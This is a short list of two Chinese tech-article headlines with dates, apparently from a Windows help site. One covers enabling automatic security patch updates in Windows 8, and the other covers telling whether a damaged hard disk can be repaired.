Win8大百科72期:开启安全补丁自动更新2022-07-23
硬盘损坏如何修复?教你硬盘损坏能否修复识别技巧2023-11-26